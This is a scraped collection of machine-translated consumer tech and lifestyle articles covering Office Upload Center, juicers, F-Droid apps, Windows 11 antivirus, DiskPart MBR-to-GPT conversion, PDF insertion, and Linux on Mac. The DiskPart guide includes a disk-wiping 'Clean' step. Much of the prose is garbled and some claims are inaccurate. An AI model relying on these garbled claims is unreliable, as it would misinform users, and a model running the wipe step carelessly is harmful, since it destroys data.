downloading the file, and view the cache files.\n  2. How to use the Office Upload Center? Office Upload Center is installed on your computer when you install Microsoft Office. Usually you can see the Office Upload Center in the system tray. The Office Upload Center icon is an orange circle with an arrow shape inside.\nThis icon may change when any problems or errors occur, then on the screen you will receive feedback error messages. Click on it to open the Office Upload Center.\nAlternatively, you can enter the Office Upload Center keyword into the Search box on the Start Menu and then click the Office Upload Center shortcut.\n  On the Upload Center window you can view and manage the file download process. If everything is stable, the file download process will be successful and you will see the message No files are pending upload.\nClick the Menu button in the top right corner of the window and select Recently Uploaded to view the uploaded files, or select All cached files to view recently uploaded files and files being uploaded.\nThe Upload All and Pause Upload buttons allow you to start downloading or stopping downloading files.\nThe Action button displays options that allow you to perform actions on the current file, such as opening a local copy, opening the server's website, saving the copy to the cache on your computer. you or skip the process to save the copy to the cache.\n  Click Settings to display the option to manage and install the cache. By default, the Office Upload Center displays a notification when the file download process is corrupted or stopped, and notifies you how to fix it here. However, the tool does not display a notification during the normal file download process.\nIf you want to hide the Office Upload Center, leave the Display area in notification area option unchecked .\n  \nOffice Upload Center stores a copy of the cache files for 14 days, but you can change the time to store the files in the cache if you want.\nIn addition, this tool also stores copies of the files you upload successfully, so you can reopen these files easily when needed. Here you can also set to disable or delete the cache if you want.\n3. How to hide Office Upload Center To hide the Office Upload Center, you can uncheck the Display icon in notification area checkbox. Also you can hide the Office Upload Center popup window in the system tray.\nIf you only save Office documents on Local Storage on your computer and don't want to save these documents on remote services like OneDrive, you can hide the Office Upload Center. Even if you save Office documents to other remote storage services like Dropbox, Google Drive, it doesn't affect the Office Upload Center.\nOnly when you save Office documents to a remote server (or open them from a remote server) is it related to the Office Upload Center.\nYou cannot uninstall the Office Upload Center completely, you can only disable this tool on the system. If you want to completely disable the Office Upload Center, you only have to uninstall Microsoft Office.\n4. Disable the Microsoft Office Upload Center By default, the Microsoft Office Upload Center feature will help you synchronize documents between Microsoft computers and web-based servers. But for many Office users who only need to use Word or Excel to create, edit documents and print on connected printers, the Microsoft Office Upload Center feature probably won't. more needed. Here's how to help you completely disable this annoying feature.\nStep 1 :\nPress the Windows + R key combination to open the Run command window . On the Run command window you \u0026nbsp; Enter taskschd.msc command and press Enter or click OK to open Task Scheduler.\n  Step 2 :\nOn the Task Scheduler interface, find and select Task Scheduler Library in the left pane. In the middle pane, navigate to the Microsoft Office 15 Sync Maintenance section and click this option. Then, click the Disable button in the right window to disable this feature\n  Finally restart your Windows computer. You will no longer see the Microsoft Office Upload Center icon appear in the system tray.\nThe Microsoft Office Upload Center is not for all Microsoft Office users, because it is used to monitor the transfer of files opened from a server or uploaded to the server. If this is not a feature you use often, it should be disabled completely via Task Scheduler.\nRefer to some of the following articles: How to change the default save file format in Word, Excel and Powerpoint 2016? Trick to customize the Quick Access Toolbar on Office 2013 Instructions on how to fix Microsoft Office 365 errors Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJuucicqairn5vBbrvFn6CcnV2qva27wJ1knJ2eqbKzeceormasn2Kxqr%2FAm6OeZaSdtrR506impQ%3D%3D\n","link":"/post/what-is-the-microsoft-office-upload-center-how-to-disable-this-tool/","section":"post","tags":null,"title":"What is the Microsoft Office Upload Center? How to disable this tool?"},{"body":"As a lover of fruit juices, vegetable juices, you're probably looking for a suitable press. So do you know which type of fruit vegetable presses are durable and cheap, so which one is the most expensive ? Let's see what suggestions are offered by TipsMake.com!\ncontent Philips HR1811 juicer Hurom presses HAA-LBE17 Kuvings NJM-8060TK press machine Sunhouse SHD5520 fruit juicer Panasonic MJ-H100WRA juicer Philips HR1811 juicer Philips HR1811 is a famous line of fruit and fruit presses from Philips, Netherlands. The product has a capacity of 300 W, glass capacity of 500 ml of juice, fiber storage capacity and fruit peel is 500 ml. Mesh filter microphones help squeeze out more water. Philips HR1811 juicer can squeeze a variety of fruits, vegetables, including hard or soft fruits. The body made of high quality plastic is very durable, not discolored and easy to clean. Fine fine mesh filter made of stainless steel. Convenient control knob makes it easy for users to adjust the modes. The foot section has a safety base, making sure it stays on the table.Reference price: VND 1,190,000.\n  Philips HR1811 juicer\nHurom presses HAA-LBE17 Hurom juicer HAA-LBE17 is a series of slow presses equipped with advanced Korean technology with an operating speed of about 43 revolutions per minute, 150W capacity. Due to no friction or heat generation, Hurom HAA-LBE17 created juice can retain 90% of vitamins and minerals. On the body of the machine has a quantitative ladder to help users easily monitor the amount of juice, avoiding the situation of juices flowing out. Not only that, Hurom presses HAA-LBE17 also has ice cream mesh, giving you cool, nutritious ice cream at home.Reference price: VND 9,980,000 .\n  Hurom fruit presses HAA-LBE17\nKuvings NJM-8060TK press machine Kuvings NJM-8060TK 2-in-1 multi-function juicer has 350W operating capacity and is equipped with 2 sharp metal blades. This device can both grind, and can be pressed with a 2 liter blender jar and 0.5 liter juice cup. The squeezer has an inclined pouring tap made of stainless steel, making the juice flow more easily. Straps hold the jar firmly, not slippery when held. The body is made of high quality plastic and ensures absolute safety for users. Kuvings NJM-8060TK operates smoothly thanks to a rubber base. Safety lock helps limit the risk of electricity, machine damage caused by children.Reference price: VND 3,790,000.\n  Kuvings NJM-8060TK press machine\nSunhouse SHD5520 fruit juicer Sunhouse SHD5520 juicer is equipped with ultra-fine filter to make the juice more delicious and without residue. The juice tray is designed to be removable, very convenient to use as well as to clean. Sunhouse SHD5520 operates with a capacity of 260W with 2 presses, helping to squeeze many different fruits. Blade made of stainless steel, with sharpness and high abrasion resistance. The body is made of high quality plastic, very durable and safe for health.Reference price: 749,000 VND.\n  Sunhouse SHD5520 fruit juicer\nPanasonic MJ-H100WRA juicer Panasonic MJ-H100WRA fruit presses can squeeze a variety of fruits and vegetables thanks to the 400 W operating capacity and sharp high-quality metal blades. The case is made of high quality plastic, durable and easy to clean. The feeding tube has a large diameter, allowing you to cut the fruit too small when pressed, thereby saving you the most time and effort. Blades are made from high quality steel, anti-rust and safe for users' health. Fine filter net helps keep the juice clean. Not only that, Panasonic MJ-H100WRA presses also have intelligent power-off mode when overloaded, thus limiting the risk of failure.Reference price: 1,650,000 VND.\n  Panasonic MJ-H100WRA juicer\nHopefully the vegetable and fruit presses introduced by TipsMake.com will help you. Visit META.vn for advice on many other quality, low-cost juicer lines.\n\u0026gt;\u0026gt;\u0026gt; Maybe you care:\nWhat is the best slow speed juicer today? Should choose a normal juicer or a slow press? Regular juicer or slow press are easier to clean How to remove and use the juicer simply What should I consider when choosing to buy slow presses? ncG1vNJzZmismaXArq3KnmWcp51kxKmt02aioqaUYrynecOuqZqanJp6orrDZpqhnZGleqe%2B1KKrZpmemXq3scaeq5qanJp6sb7ErKqeqw%3D%3D\n","link":"/post/what-kind-of-durable-and-cheap-fruit-and-vegetable-presses/","section":"post","tags":null,"title":"What kind of durable and cheap fruit and vegetable presses?"},{"body":"Google Play Store is not the only place you can download Android apps. There are a few alternatives to Google Play Store worth exploring.\nOne of the most popular alternatives is F-Droid. It specializes in free and open source software. You can install F-Droid on your device or download the APK file of this application on its website.\nThere are some similarities between F-Droid and Play Store. Many applications are available on both platforms. However, today, this article is only interested in dedicated F-Droid applications.\n10 exclusive F-Droid applications 1. Chanu 2. Clover 3. Beta Updater for WhatsApp 4. Yalp Store 5. / r / Android App Store 6. NewPipe 7. Chromium SWE Updater 8. Tachiyomi 9. SimpleRT 10. WebTube 1. Chanu Are you a regular reader of 4chan? This is the most popular but also controversial image based website on the Internet.\nUnfortunately for 4chan fans because it has no official app. Reddit, often considered 4chan-lite, also has no official application until recently.\nGoogle Play Store has several third-party 4chan apps. The most popular of them is Mimi.\nHowever, to get more functionality, you need to switch to F-Droid. Chanu application allows you to browse message boards, track topics, download photos and save your favorite message boards. There are also bright and dark themes, support for utilities and offline mode.\nDownload Chanu (free).\n2. Clover    Clover is a 4chan reader instead. It was once available on Google Play, but now you will only find this app on F-Droid.\nSome Clover features are like Chanu. You can view topics, reply online, receive notifications and apply some themes. However, Clover also supports a number of other image message boards. They include 8chan, Lainchan, and many other options.\nDownload Clover (free).\n3. Beta Updater for WhatsApp WhatsApp regularly receives new updates. Many of these features add new uses to the world's most popular instant messaging application.\nBut how can you experience these new features soonest? How can you get the beta version of WhatsApp?\nIf you've installed WhatsApp from Google Play Store, unfortunately you can't do anything. Unlike Windows, Chrome, other mainstream applications and services, there is no way to subscribe to new test versions for WhatsApp.\nHowever, you can review Beta Updater for WhatsApp. This free app will ensure you always run the latest beta release of WhatsApp.\nWarning: Beta releases are often unstable, behaving strangely and error-prone.\nDownload Beta Updater for WhatsApp (free).\n4. Yalp Store    If you have used Android for a while, you may be familiar with the concept of sideload applications. Simply put, this refers to installing the application on the device manually without using Google Play Store.\nUnderstanding how to download applications is also an essential part of owning an Android TV or Amazon Fire TV device. Both platforms have more modest native app stores than mobile app stores, but you can run any Android app with a little tweaking.\nTo sideload an application, you need the APK file of that application. Unfortunately, the APK file is not available on Play Store (although there are some third-party websites where you can download the APK file).\nYalp Store solves the problem of APK files on Google Play. It allows you to download APK files of any application directly from the store.\nYalp is also a great way to download the Google Play Store app without using a Google account. It uses an integrated account to connect, so you don't need your own login information.\nDownload Yalp Store (free).\n5. / r / Android App Store / r / Android maintains a wiki page for Android applications. It includes both community-recommended apps and apps from developers who want to spread information about their products. There are hundreds of applications on this list.\n/ r / Android App Store on F-Droid gives users an easy way to browse and download all the applications in the wiki. You will find both paid and free apps in the / r / Android App Store, and the application itself is completely free to download and use.\nDownload / r / Android App Store (free).\n6. NewPipe    NewPipe is an alternative to YouTube. This app is very light and has some feature enhancements compared to the official app. Featured features include playing videos in the background, a video popup player, a local playlist and a subscription list that can be added / removed.\nNewPipe also places more emphasis on user privacy than YouTube. It does not use proprietary Google APIs, saves all your data offline and allows you to control what data the application can collect.\nFinally, it allows you to download MP3s from YouTube and download MP4 videos on YouTube. You can set your own file name and resolution.\nDownload NewPipe (free).\n7. Chromium SWE Updater Chromium is an open source launcher created by Google in the Chrome web browser. Because it is open source, other users can split the application and customize their own way.\nA group called Code Aurora Forum, broken down Chromium to create Chromium SWE. It is specially optimized for devices with Qualcomm Snapdragon chips. However, the browser does not come with an integrated update. Instead, users must remember to check and install updates regularly.\nDue to the importance of always running the latest application version, this is not ideal. Thankfully, the arrival of Chromium SWE Updater in F-Droid solved the problem. The tool will automatically update Chromium SWE builds to ensure you always use the latest version.\nDownload Chromium SWE Updater (free).\n8. Tachiyomi If you like manga, Tachiyomi is an application you must have. It allows downloading content from multiple sources, including Batoto, KissManga and MangaFox, then reading it all in one place.\nTachiyomi's readers are really impressed with this. It has a variety of view modes, convertible reading directions, and light / dark themes. You can also schedule updates to always have the latest materials in hand. It even supports your reading list on MyAnimeList, AniList and Kitsu.\nDownload Tachiyomi (for free).\n9. SimpleRT SimpleRT will be your companion application, if you want to share your computer's Internet connection with your Android device via USB. Unlike some other applications that share the connection in the opposite direction, it does not require root access.\nThe application supports multi-tether (which means you can combine several Android devices into a single virtual network) and allows you to set up custom DNS servers. On Android, SimpleRT acts as a service and has no user interface.\nThis service is fully compatible with Linux and macOS, while the Windows version is still in beta.\nDownload SimpleRT (free).\n10. WebTube    This is another alternative application for YouTube.\nWebTube is not as full-featured as NewPipe. You cannot use it to download videos. However, if you just want to watch the video, it's a quick and lightweight option worth considering. Like NewPipe, this app focuses primarily on privacy. It will not use nor access the exclusive YouTube API, nor will you need to use any Google Play Service.\nDownload WebTube (free).\nF-Droid App Store is a great way to find special apps that you won't be able to see in Google Play Store.\nHowever, there are many applications that you may not have heard of that are already in the Play Store. To learn more, please refer to the article: 9 great Google Android apps that you've never heard of\nSee more:\n7 best Android apps are not available on Google Play Store How to install the application on Android without using Google Play Store 5 types of mobile applications should not be installed on smartphones ncG1vNJzZmismaXArq3KnmWcp51kfnF5xLGapa2jnsOmecWdqaihlGKusbzSZpirnV2jvLV5wK%2BYoqSRl7mmec6nZKCnn5y5pnnPpZiyZaOpvLOx\n","link":"/post/10-exclusive-f-droid-apps-are-not-available-on-google-play-store/","section":"post","tags":null,"title":"10 exclusive F-Droid apps are not available on Google Play Store"},{"body":"Modern life makes many people feel stressed, rushed and in a circle with no destination. You feel that things are complicated, impossible to remove, even the same and gradually, the concepts of \"positive\" disappear completely in your thoughts. In fact, life is not difficult to \"define\" like that, simply that you are making it complicated.\nPerhaps what you need now is not to try to complete all the unfinished work, but to slow down a bit, breathe and think . When you do too much work in a day, you will not be able to remember what you have done and it is also impossible to feel happy because you have completed something. You are too tired and need to rest immediately.\nThe following 18 signs are bad habits that make life so complicated that you need to change. Please read carefully and see if I am falling into this situation myself.\n  Don't make life complicated because it's so simple\n1. Delayed It is not too difficult to understand why delay, delay makes us feel so complicated and complicated: Projects continue to be on the deadline, documents are stacked, and the list of jobs is long. in many pages and a computer screen is full of notes . If we don't do what we need to do at times we know, it should be done, soon everything will become chaotic.\n2. Worry \"Worry is the mother of life\" - Worry is the starting point of a complicated life . The more you worry, the more serious the problem becomes and you cannot be alert enough to find a solution. Certainly there will be times when you face some small, even, not enough problems to become a problem but because of the habit of \"tearing out\" you turn them into an obsession. So, instead of spending energy to worry, use it to find solutions.\n3. Wait There is never a so-called \"perfect time\", but many people still wait. This job seems to be unfavorable now so please wait for a better time to do it, this dream is too far away so please wait for a while or this project is too difficult so don't do it . We Wait, wait and keep waiting while at the present time, we have enough time, energy and other support to complete them. Slowing down a bit when you lose your balance or can't control is great, but waiting for opportunities while you are able to catch it right away is a waste.\n  Don't wait any longer when you can start\n4. Say yes to everything You \"get yes\" to everything and to everyone but the problem lies in: you can make others happy but you are very tired yourself. Do things that are committed very well but don't be too weak because you have the right to say NO if you don't want to.You can't please everyone.\n5. Depends on others It may sound unbelievable but be honest that most of the things we did, we all want others to like it and if we don't get positive feedback, you may feel sad, even, down. low self-worth / value. Remember that, you are born in the world to like what you do, love what you do and think what you want to think, create your own life, not live on the thoughts and feedback of people other. Don't be afraid to go the way you want to go because no one lives for you.\n  Your life is your message - live to spread\n6. Embrace but low efficiency It is clear that we are busy but the actual efficiency is very low. \"Multitasking\" will be good unless you know how to control and optimize each job but if you do more things that make you become disoriented, slow down.\n7. Control instead of connecting When you try to control more, you will not fully grasp the meaning of what is happening around you. Control is not a goal in life but a connection.Connect with people you love instead of trying to control them. For example, simply that you learn to understand, share and connect with your children but do not attempt to control them. Certainly, if this is the case, you will feel tired, even pressure of responsibility. Don't expect too big to accept everything that will happen to you.\n8. \"Always confine the birds while they need to fly\" It is not difficult to understand if you think about what happened a few years ago and until now, you are always obsessed. People who have gone through your life, whether they have treated you well or badly, if that has happened, let those things sink into the past.Relax yourself by not holding anything too tight. If so, you will feel very depressed every time you lose something. Please accept the change. Give yourself the opportunity to get rid of what is not needed to make room for more wonderful new opportunities.\n  Learn how to accept everything\n9. Judgment A very common habit is that we often like to judge and evaluate things even if we don't understand them. The need to express a good opinion or \"express yourself\" is always in every person, but it is important that each of us needs to control.Stop judging and start learning how to love more. If someone is not suitable for you, please leave instead of misleading (maybe) about them.\n10. Take a step, then . take two steps back More precisely, hesitation. You are always wondering whether you should start, continue or stop. You see the possibilities, you advance, you face obstacles and then you decide to give up all. Life is always full of opportunities and possibilities if each of us broadens our vision and heart with every failure.Be patient and believe in whatever you want, you will win it. Keep your head high and don't let the \"sound\" of failure overwhelm you.\n11. Complaining We feel stressed about doing something without seeing the benefits. Complaints almost can't change anything. When we focus on the next plan, new development, new level, a bigger house, a bigger car, a more suitable partner (for those who have just failed in a relationship / certain marriage) or another important person - we will ignore all the unpleasant things that happened.Be happy and thank you for what you are.\n  Simplify your life\n12. There is no priority You do not need to focus on everyone and everything. The world still happens exactly as it does even when you stop working, you travel, you nap or you don't do anything. Creating limits will affect who you are, what you believe and where you are. It is not a sign of weakness or failure when you cannot control something; It is an opportunity for you to show your strengths. When you know when you should say yes and when to say no, you will control what you are doing.When you respect your limits, others will respect your limits.\n13. Compare yourself with others Someone once said \"Don't compare your movie to someone else's script\" (roughly: Do n't compare your movie to the manuscript of another person). A better understanding is not to compare chapter 1 in your work with chapter 20 in someone else's work. Live your own life, creating changes that you know can do and be faithful to that path. Comparing yourself to others means you have put your own defeat on yourself.\n  Live and do what you want\n14. Lack of sincerity Lack of sincerity is the way that leads you to breakdown and crisis. You must be honest with yourself and others. Choose to believe in the truth and ignore the lies. However, not just words, be sincere both in thoughts, attitudes and actions.\n15. No forgiveness Do not let sadness, suffering or feelings of disappointment about those who have caused you to hurt your weakened heart. Being constantly hated or angry will make the situation worse. Freedom is when you let these emotions not affect your life.Learn to forgive more to see that everything happens has its reasons.\n  Everything that happens has its reasons\n16. Selfish The increasingly modern life makes many people gradually turn themselves into the center of the \"universe\" without caring about others. What you want, what you like, what you do, what your plan is, how much money you can make, where you go, what food you eat and more . all are friends. No one else. Being too concerned about yourself will cause you to ignore a lot of great things around so change right before it's too late.Don't isolate yourself in the big world. \"Give - Serve - Love\" - \"Give away to serve others and receive love\".\n17. Do not nurture relationships Whether you are an introvert or an introvert, a public person or an ordinary person, you cannot live without relationships. We are created to integrate with the community. The happiest people in the world always know how to create deep, sincere and meaningful relationships.\nEstablish relationships but you have to nurture it, develop it and engage it.Many but must be deep and meaningful, not indifferent.\n  Live simpler to see that life has many wonderful things\nWhen you're with people we really care about, really love, that's the best thing in life that anyone must keep.\n18. Evade Nobody likes conflict, conflict. Whenever we feel the conversation is going in a stressful way, we all immediately withdraw to bring ourselves back to safety. However, this will make you gradually become weak and irresponsible. The more you escape, the bigger the thing becomes, so it's best to learn how to face it.\nIf you are only looking for fun and peace, you will not be able to be tougher than the sudden storms. Therefore, be ready to participate in the confrontations, give opinions and gain experience for yourself.Remember that life is a great experience that only when you dare go do you recognize them.\nncG1vNJzZmismaXArq3KnmWcp51kfnl50qKep6tdqbWiwIyypq5lkaeybq%2FOpqeloZOWwaawjJuwZqSZm7I%3D\n","link":"/post/18-signs-that-you-are-complicated-by-life/","section":"post","tags":null,"title":"18 signs that you are complicated by life"},{"body":"Some time ago, Adobe integrated artificial intelligence (AI) into Premiere to give this video editing application the ability to automatically remove unwanted objects. Recently, Adobe has continued to integrate the new AI technology developed based on artificial intelligence Adobe Sensei for the Adobe Premiere Pro application to help users save time when they want to edit and share videos on platforms. Different social networking platforms.\n  The new feature is called Auto Reframe and has the ability to automatically change video aspect ratios to standard ratios according to the user's wishes.\nIn a nutshell, the aspect ratio of video on each social networking platform is different, so users will have to edit the video to the corresponding aspect ratio if they want to share their videos.\n  But with Auto Reframe, with just one click, you can easily change the aspect ratio of the video to 1: 1, 16: 9 or 9:16 aspect ratio without affecting image quality. Everything is automatically converted.\nBesides, Auto Reframe can be used as an effect and editors can integrate it on Primiere's timeline.\nThere are three different motion presets that users can choose from: Slower Motion, Default and Faster Motion to help the algorithm generate custom keyframes, automatically identify and predict the speed of motion in motion. video.\nAuto Frame will soon become an effective assistant to make video editing easier and more convenient. In addition, the feature also has many different uses, please explore yourself.\nGoogle Duo adds a new feature that allows video calling in the dark without turning on the light Microsoft revived PowerToys, a popular customization tool on Windows 95 / XP In addition to introducing Auto Reframe on Premiere Pro, Adobe has been adding many other useful features to its Creative Cloud applications to serve requests from different social networking platforms. Premiere Rush CC, a free mobile version of Premiere Pro, made specifically for YouTube content creators, will have additional video export options optimized for each social networking platform. Various, such as Snapchat, Instagram, Facebook or Twitter.\n  Auto Reframe works based on artificial intelligence platform Adobe Sensei\nAuto Reframe will be officially added to Premiere Pro later this year.\nncG1vNJzZmismaXArq3KnmWcp51krqW7wZ5kqaqVoramvsRmp6unXZ2utHnToZxmmZKeuarA2GarqGWRqsGwucCtoJyZnKHGbq%2FHmqWgnV2ptaZ51aKbnqddlsCxscKtZKuZpJ68\n","link":"/post/adobe-premiere-pro-has-the-ability-to-automatically-change-the-video-aspect-ratio/","section":"post","tags":null,"title":"Adobe Premiere Pro has the ability to automatically change the video aspect ratio"},{"body":"The media said that in the context of the tablet computer is increasingly becoming a strong trend in the market, Asus has decided to death of the line of small, cheap laptops (Eee PC netbook) of they.\n  After five years ' winding up' in the netbook market as a pioneer, Asus has found that netbook products are no longer suitable.\nAccording to DigiTimes, Taiwanese computer maker has just reduced the output of all Eee PC models, and gradually converted to marketing for the Transformer tablet, to fill the gap of the 10.1-netbook segment. inch.\nPreviously, experts pointed out that, with the ultra-thin laptop model, the ultra-high-end ultrabook as well as convenient tablet models can support high-quality gaming and video without being slowed down. , jerking, the presence of netbooks has become meaningless.\nRecently, Asus CEO Jerry Shen also confirmed that they will stop producing Eee PC netbooks using Atom processors, such as the N2600, for example, because tablet-based influence has caused demand for netbooks. strong decline.\nncG1vNJzZmismaXArq3KnmWcp51krrTB0mabop2UYrynecBmqqaZnKF6rbXNnmSonl2asqZ5z5xkpZmgqbyxvw%3D%3D\n","link":"/post/asus-died-of-a-small-line-of-eee-pc-laptops/","section":"post","tags":null,"title":"Asus died of a small line of Eee PC laptops"},{"body":"Windows 11 is a surprising upgrade; with a sleek user interface, brand new Start menu, Android smartphone integration, Widgets, etc. New features and enhancements have made the Windows 11 update so worthwhile.\nIn addition, there has also been a significant jump in the security level of the latest version of Windows. According to Microsoft, Windows 11 is the most secure operating system released to date. But does that mean you don't need antivirus software for your Windows 11 device anymore?\nWindows 11 First Line of Defense: TPM 2.0   The Trusted Platform Module (TPM) is a little-known hardware-based security feature that became popular with the release of Windows 11. Windows 11 needed a processor compatible with TPM 2.0 and Secure. Boot. Your PC will be considered incompatible if these requirements are not met. TPM is basically a hardware chip located on the motherboard of the system to store cryptographic functions.\nWith TPM 2.0 and Secure Boot enabled, malware can no longer attack your Windows 11 system during the boot process. These hardware-based security measures completely remove a wide range of dangerous malware.\nWindows 11 built-in antivirus engine, Microsoft Defender   Windows 11 comes pre-installed with a dedicated antivirus software - Microsoft Defender. From being the laughing stock of the cybersecurity world, Microsoft Defender is now an excellent antivirus. AV-TEST even claims it is one of the best performing antivirus on the market. Microsoft Defender is free, provides effective real-time and web protection, and requires no separate configuration. You can even set up Smart App Control to further protect your PC from untrusted services and apps, although those using older systems will need to reset Windows 11 to install. Smart App Control.\nDo you need a third-party antivirus for Windows 11? With the security of Microsoft Defender combined with the hardware security requirements of Windows 11, you get the most secure Windows ever.\nHowever, Microsoft Defender doesn't protect you from things like adware and its real-time protection or inaccurate warnings against clean programs and files. It also doesn't offer significant protection against ransomware, which can have serious consequences.\nTherefore, if you want to be completely protected from malware, it is better to use a third-party antivirus and combine it with the security features of Windows Security. There are many great antivirus programs for Windows 11 that you can choose from, such as Bitdefender, Avast, AVG, and Kaspersky.\nWhile Microsoft Defender is amazing, it's not perfect. So it's a good idea to invest in a budget-friendly antivirus program to enhance your Windows 11 malware protection.\nwindows 11 antivirus software ncG1vNJzZmismaXArq3KnmWcp51ksbB51qKlnaenqHpyfYydnK%2Bhk5rAbrrEnptmrJiev6W8wKursmWRo8GqwsirrKxlo6SztcPAq5w%3D\n","link":"/post/do-windows-11-devices-need-third-party-antivirus-software/","section":"post","tags":null,"title":"Do Windows 11 devices need third-party antivirus software?"},{"body":"For those who love computers and play with the computer a lot, converting the drive format is a very familiar task. Each different drive format has different advantages and strengths. For MBR drives (short for Master Boot Record) use the standard BIOS partition that is suitable for installing Windows GPT drives (short for GUID Partition Table) use the UEFI integrated Firmware interface. Speaking of advantages, GPT is much stronger when it comes to supporting users to create lots of partitions on each drive, if anyone is a service that needs a lot of storage, GPT is the perfect choice.\n  Converting the drive format from MBR to GPT does not have any difficulty because you can convert directly via CMD on your computer. Here's how to guide conversion.\nBefore converting we should note the following:\nWhen we convert the drive format, we need to turn off all applications running on that drive. Your user account must be the highest administrator (Administrator). Back up all data in case of bad circumstances. Step 1: You press Windows + R to open the RUN window and enter DiskPart -\u0026gt; Enter .\n  Step 2: At this time, the CMD Diskpart window will appear. You enter List Disk to display the list of disk devices in the computer.\n  The drive list appears:\n  Step 3: You select the drive that you want to convert to GPT with the following syntax.\nSelect (Drive letter) The drive letter is equal to in the Disk column ###\nFor example: Select Disk 2 .\n  Then the system will notify you to select the drive successfully.\n  Step 4: After selecting the drive to convert we need to clean them with the Clean command . You type Clean and press Enter .\n  Notice of successful disk cleanup.\n  Step 5: Finally, use the following command to convert the drive to GPT quickly.\nConvert GPT   The software will then notify you to convert to GPT format successfully.\n  So you have converted the format of the drive you want to GPT. You need to pay attention to choose the right drive, otherwise it will take time to change and affect the data. This way you can use on every different version of Windows like Windows 10/8/7 / XP. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmmKdlnZe%2FbrTAq5tmnKKew6Z506hkmmWXpcFusMisomato567qHnToZxmm52ZeqW10qSnmqqkYrCwucyapZ0%3D\n","link":"/post/how-to-convert-an-mbr-hard-drive-to-a-gpt-disk-using-the-cmd-diskpart-command/","section":"post","tags":null,"title":"How to convert an MBR hard drive to a GPT disk using the CMD Diskpart command"},{"body":"To view more documents, many people will choose to insert the document instead of converting it to another format. With Word we can insert many other types of documents into the content, such as inserting PDF files into Word or PowerPoint, for example. When inserting such PDF documents, we do not need to convert PDF to Word and still be able to track the content. The following article will guide you how to insert PDF files into Word and PowerPoint.\n1. Instructions to put PDF files into Word Where PDF has few pages\nWe right-click on the PDF file and select Open with and then select Word to open the PDF file. Or we open the PDF file right in the Word interface.\n  Now display the message interface as shown below, click OK to Word automatically convert the PDF file to Word. This conversion process depends on the number of PDF pages users want to insert into Word.\n  Now users can freely edit PDF content right in Word.\n  Where inserting PDF content into Word\nIf you want to copy just a few paragraphs of a PDF file into Word, you need to use Foxit Reader.\nFirst of all we open the PDF file with Foxit Reader .\n  Next we click on Select and select Select Text and Image in the left corner of the interface or press the keyboard shortcut Alt + 6.\n  Now you need to select the content area you want to insert into the Word document, right-click and select Copy. Then paste into the Word document is done.\n  Insert PDF into Word if there are many pages\nIn case users only want to cite a PDF document into Word but do not want to copy it, just press Insert and select Object in the Word interface.\n  Display a new interface, click Create from File , select Display as icon to display only as icons, then click Browse to select the PDF file that you want to attach to Word in the folder on your computer.\n  The resulting PDF file displays as shown below.\n  2. Instructions to insert PDF into PowerPoint To insert a PDF file into PowerPoint, you can insert the PDF file as an image, but only for files with few pages. If the PDF document has many pages, the user will insert the PDF file into the object.\nInsert screenshot PDF\nWe open the PDF file and then open the page we want to insert into PowerPoint. At the PowerPoint interface, click Insert and select Picture , then select Screenshot . Now show the open screens on the computer, click the thumbnail of the open PD F document .\nIf you want to get the content you choose, click Screen Clipping and then cut the content you want to insert into PowerPoint. Finally, you just need to edit the screenshot.\n  Insert PDF file as object\nThis method of inserting the PDF will show others the entire PDF content, instead of just a screenshot.\nWe also click Insert and select Object to insert objects into PowerPoint.\n  Click on Create from File, then click the Browse button to open the PDF file you want to insert into the content. Click OK to insert.\n  Output PDF file is inserted as an object, we change the size of the object, the position in the slide show. When clicking directly on the object, the PDF is opened by a separate PDF reader tool installed on the computer.\n  So we have many different ways to insert PDF files into words and insert PDF files into PowerPoint. Each one depends on the requirement of inserting the PDF and the version of Word or PowerPoint that we are using.\nSee more:\nHow to insert audio into Word documents How to insert a signature in Word How to insert text into pictures in PowerPoint How to insert text into images in Word I wish you successful implementation! ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIypm59lmaPBsHnWqKmdZZGjsW68zrCcq6ifnru1\n","link":"/post/how-to-insert-pdf-into-word-and-powerpoint/","section":"post","tags":null,"title":"How to insert PDF into Word and PowerPoint"},{"body":"Linux is an open source operating system that you can install on your computer for free. It offers several advantages over Windows and Mac, such as flexibility, privacy, better security, and ease of customization. If you have a Mac and want to explore a new open source operating system, check out the instructions on how to install Linux on a Mac below.\nIf you want to dual-boot Linux and macOS, you'll need to create a space for your Linux operating system to work in. To do this, you will have to partition your main hard drive. Here's how to do it:\nHow to split a Mac hard drive Step 1. Open the Application folder and select Utilities.\nStep 2. Next open Disk Utility.\nStep 3. Next, click View in the left corner of the screen.\nStep 4. Then select Show All Devices.\nStep 5. Select the macOS hard drive and click Partition. You can see this button at the top of the screen. If using the new Mac model, click Partition on the message that appears.\n  Step 6. Set the partition size you need for your Linux operating system. You can do this by dragging the small white circles over the edge of the larger circle, or you can enter a size in the box next to Size. The gray part of the graph will be your Mac's capacity, while the blue part will be your new partition. You should spend at least 20GB for Linux. You can also add other information here, such as the partition name. Take note of the partition size, you will need this information later.\nStep 7. Format the new partition as MS-DOS (FAT).\nStep 8. Click Apply. Your computer will not respond when the partition is created.\n  Step 9. Select Partition and Continue and wait for the partitioning process to complete.\nHow to Create a Bootable USB Drive on Mac 1. Download the Linux distribution. An ISO file is a disc image. Some of the top options are Ubuntu, Mint, or Deepin. They are free to download from each distributor's main website.\n2. Open Disk Utility, select the USB drive and click Erase.\n3. Then format your USB drive as MS-DOS (FAT) and the scheme as GUID Partition Map (GUID Partition Map). You can do this in Disk Utility by selecting your drive and clicking Erase.\n  4 Download the Etcher app. This will allow you to burn your Linux distro to a USB drive.\n5. Move the Etcher application to the Applications folder. If you get a warning that you can't open the app, go to System Preferences \u0026gt; Security \u0026gt; Privacy \u0026gt; General. Then click the lock icon, enter your password and click Open Anyway.\n  6. Open the Etcher application, select Select Image. Next select Linux ISO. This is the file you downloaded earlier.\n7. Select Select target and select the USB drive.\n8. Then select Flash. If you get an error message and are running a new operating system, go to Applications \u0026gt; Utilities and open Terminal. Then type the following command and press enter:\nsudo /Applications/balenaEtcher.app/Contents/MacOS/balenaEtcher If you still get an error message saying the drive is unreadable, select Ignore.\nHow to Install Linux on Mac Once you've created the partition, you can continue with the rest of the Linux installation setup below. But before you start, you'll need a USB mouse and keyboard, as Linux won't detect the driver if you're on a new Mac.\n1. Turn off the machine.\n2. Plug the booted USB into the Mac.\n3. Turn on Mac while holding down the Option key. You will then see a boot manager with a list of available devices that you can boot from.\n4. Select your USB and press Enter. This will be named EFI boot or EFI 